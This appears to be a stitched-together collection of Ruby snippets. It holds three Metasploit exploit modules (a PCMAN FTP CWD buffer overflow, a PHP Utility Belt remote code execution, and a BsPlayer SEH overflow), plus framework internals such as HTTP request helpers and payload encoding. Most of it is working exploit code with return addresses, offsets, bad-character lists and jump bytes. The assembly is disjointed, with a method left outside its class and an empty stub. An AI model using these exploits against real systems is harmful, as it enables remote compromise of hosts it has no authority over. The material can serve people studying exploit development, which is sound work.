class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::Ftp
	
	def initialize(info = {})
	    super(update_info(info,
			'Name'		=> 'PCMAN FTP 2.07 CWD Command Buffer Overflow',
			'Description' => %q{
				PCMAN FTP 2.07 CWD Command Buffer Overflow Example
			},
			'Platform'	=> 'win',
			'Author' => 'Rambo',
			'Targets'	=> [ 
						['Windows XP SP3', {'Ret' => 0x7dd0811c, 'Offset' => 2006}]
					   ],
			'Payload'       => {
						'Space'    => 1000,
						'BadChars' => "\x20\x0a\x0d\x00\xff\x40",
						},
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'VERBOSE' => true
				},
			'DisclosureDate' => 'Jan 29 2014'
		))
		register_options(
		[
			Opt::RPORT(21),
			OptString.new('FTPPASS', [true, 'FTP Password', 'anonymous'])
		], self.class)
	end 

	def exploit
		c = connect_login
		return unless c
		buf = make_nops(target['Offset'])
		buf = buf + [target['Ret']].pack('V') + make_nops(10) + payload.encoded
		send_cmd(["CWD " + buf, false])
		disconnect
	end  
end

    def check
        c = connect_login
        disconnect
        if c and banner =~ /220 PCMan's FTP Server 2\.0/
            vprint_status("Able to authenticate, and banner shows the vulnerable version")
            return Exploit::CheckCode::Appears
        elsif (not c) and banner =~ /220 PCMan's FTP Server 2\.0/
            vprint_status("Unable to authenticate, but banner shows the vulnerable version")
            return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Safe
    end

def check_host(ip)
  # Do your thing
end

  # Connects to the server, creates a request, sends the request, reads the response
  # Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
  def send_request_raw(opts={}, timeout = 20)
    if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
      actual_timeout = datastore['HttpClientTimeout']
    else
      actual_timeout =  opts[:timeout] || timeout
    end
    begin
      c = connect(opts)
      r = c.request_raw(opts)
  # ...

  # Connects to the server, creates a request, sends the request,
  # reads the response
  # Passes `opts` through directly to {Rex::Proto::Http::Client#request_cgi}.
  # @return (see Rex::Proto::Http::Client#send_recv))
  def send_request_cgi(opts={}, timeout = 20, disconnect = true)
    if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
      actual_timeout = datastore['HttpClientTimeout']
    else
      actual_timeout =  opts[:timeout] || timeout
    end

    print_line("*" * 20) if datastore['HttpTrace']

    begin
      c = connect(opts)
      r = c.request_cgi(opts)
      if datastore['HttpTrace']
        print_line('#' * 20)
        print_line('# Request:')
        print_line('#' * 20)
        print_line(r.to_s)
      end

      res = c.send_recv(r, actual_timeout)
  # ...

class ClientRequest

  DefaultUserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
  DefaultConfig = {
    #
    # Regular HTTP stuff
    #
    'agent'                  => DefaultUserAgent,
    'cgi'                    => true,
    'cookie'                 => nil,
    'data'                   => '',
    'headers'                => nil,
    'raw_headers'            => '',
    'method'                 => 'GET',
    'path_info'              => '',
    'port'                   => 80,
    'proto'                  => 'HTTP',
    'query'                  => '',
    'ssl'                    => false,
    'uri'                    => '/',
    'vars_get'               => {},
    'vars_post'              => {},
    'version'                => '1.1',
    'vhost'                  => nil,

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'PHP Utility Belt RCE',
            'Description' => %q{
                This module exploits a RCE vuln in PHP Utility Belt
            },
            'Platform'  => 'php',
            'Author' => 'Rambo',
            'Targets'   => [
                ['PHP Utility Belt', {}]
            ],
            'Payload'       => {
                'Space'    => 2000,
                'DisableNops' => true
            },
            'DisclosureDate' => 'May 16 2015',
            'DefaultTarget' => 0
        ))
        register_options(
        [
            OptString.new('TARGETURI', [true, 'The Path to PHP Utility Belt', '/ajax.php']),
            OptString.new('CHECKURI', [false, 'Checking Purpose', '/info.php'])
        ], self.class)

    end
    def check
        send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path),
            'vars_post' => {
                'code' => "fwrite (fopen('info.php', 'w'), '<?php echo phpinfo();?>');"
            }
        )
        resp = send_request_raw(
            'method' => 'GET',
            'uri' => normalize_uri(datastore['CHECKURI'])
        )
        if resp.body =~ /phpinfo()/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
    end
    def exploit
        send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path),
            'vars_post' => {
                'code' => payload.encoded
            }
        )
    end
end 

    # Generate the payload
    e = EncodedPayload.create(payload,
        'BadChars'    => opts['BadChars'],
        'MinNops'     => opts['NopSledSize'],
        'Encoder'     => opts['Encoder'],
        'Iterations'  => opts['Iterations'],
        'ForceEncode' => opts['ForceEncode'],
        'DisableNops' => opts['DisableNops'],
        'Space'       => opts['MaxSize'])

Rank = ExcellentRanking

'Arch'           => ARCH_PHP

def check
  txt = Rex::Text.rand_text_alpha(8)
  res = http_send_command("echo #{txt};")

  if res && res.body.include?(txt)
    Exploit::CheckCode::Vulnerable
  else
    Exploit::CheckCode::Safe
  end
end

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::TcpServer
	
	def initialize(info = {})
	    super(update_info(info,
			'Name'		=> 'BsPlayer 2.68 SEH Overflow Exploit',
			'Description' => %q{
				Here's an example of Server Based Exploit
			},
			'Platform'	=> 'win',
			'Author' => 'Rambo',
			'Targets'	=> [ 
						['Generic', {'Ret' => 0x0000583b, 'Offset' => 2048}]
					   ],
			'Payload'       => {
						'Space' => 500,
						'BadChars' => "\x20\x0a\x0d\x00"
						},
			'DisclosureDate' => 'Mar 24 2015'
		))
	end
	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)
		print_status("Client Connected")
		sploit = make_nops(target['Offset'])
		sploit << payload.encoded
		sploit << "\xcc" * (6787 - 2048 - payload.encoded.length)
		sploit << "\xe9\x85\xe9\xff\xff" # long jmp
		sploit << "\xeb\xf9\x90\x90" # short jmp
		sploit << [target.ret].pack('V')
		client.put(sploit)
		client.get_once
		client.put(sploit)
		handler(client)
		service.close_client(client)
	end
end